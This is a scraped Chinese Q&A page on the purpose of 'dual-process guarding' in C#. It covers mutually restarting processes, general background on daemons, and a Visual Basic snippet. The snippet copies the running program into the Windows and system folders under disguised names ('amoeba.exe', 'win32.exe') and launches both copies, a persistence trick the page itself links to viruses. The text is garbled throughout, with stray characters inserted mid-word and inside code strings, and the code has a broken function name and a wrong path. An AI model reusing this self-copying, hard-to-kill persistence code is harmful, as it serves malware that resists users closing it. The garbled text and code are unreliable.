C#双进程守护 有什么用

C#双进程守护 有什么用,第1张

可以防止一个进程出问题,程序就被关了。。。。

AB进程相互守候,假设A进程枣正被关闭,B进程就可以再次启动A进程。。。。

系统自带的进程管理器,一次只能关闭一个进程,这样采用双进程守候,就能避免进程被用户非法关闭。这是很多家长控制、网吧管理软件的做法,但同山和时这也是很多病毒的手逗岩盯法。

守护进程(daemon)是指在UNIX或其他多任务 *** 作系统中在后台执行的电脑程序,并不会接受电脑用户的直接 *** 控。此类程序会被以进程的形式初始化。守护进程程序的名称通常以字母“d”结尾:例如,syslogd就是指管理系统日志的守护进程。

通常,守颂银护进程没有任何存在的父进程(即PPID=1),且在UNIX系统进程层级中直接位于init之下。守护进程程序通常通过如下方法使自己成为守护进程:对一个子进程调用fork,然后使其父进程立即终止,使得这个子进程能在init下运行。这种方法通常被称为“脱壳”。

系统通常在启动时一同起动守护进程。守护进此烂程为对网络请求,硬件活动等进行响应,或其他通过某些任务对其他应用程序的请求进野扒宴行回应提供支持。守护进程也能够对硬件进行配置(如在某些Linux系统上的devfsd),运行计划任务(例如cron),以及运行其他任务。

在DOS环境中,此类应用程序被称为驻留程序(TSR)。在Windows系统中,由称为Windows服务的应用程序来履行守护进程的职责。

在原本的Mac OS系统中,此类应用程序被称为“extensions”。而作为Unix-like的 Mac OS X有守护进程。(在Mac OS X中也有“服务”,但他们与Windows中类似的程序在概念上完全不相同。)

用vb写就是比较占用资源。你的逻辑关系没搞清楚 再仔细看看

if dir(winpath &"\amoeba.exe")="amoeba" and dir_(syspath&"\win32.exe")="win32.exe"

then

shell(winpath&"\amoeba.exe")

shell(syspath&"\win32.exe")

elseif dir(winpath &"\amoeba.exe")="amoeba" and dir_(syspath&"\win32.exe")=""

then

shell(winpath&"\amoeba.exe")

FileCopy strpath, syspath &"\win32.exe"

shell(syspath&"\win32.exe"友余空)

elseif dir(winpath &"\毁瞎amoeba.exe")="" and dir_(syspath&"\win32.exe")="win32.exe"

then

shell(winpath&"\win32.exe")

FileCopy strpath, syspath &"\好瞎amoeba.exe"

shell(syspath&"\amoeba.exe")

else

FileCopy strpath, winpath &"\Amoeba.exe"

Shell (winpath &"\Amoeba.exe")

FileCopy strpath, syspath &"\win32.exe"

Shell (syspath &"\win32.exe")

end if

这样写就避免了 一个为空一个不为空,都同时被调用filecopy,和shell 可以减少资源


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/yw/12230370.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-22
下一篇 2023-05-22

发表评论

登录后才能评论

评论列表(0条)

保存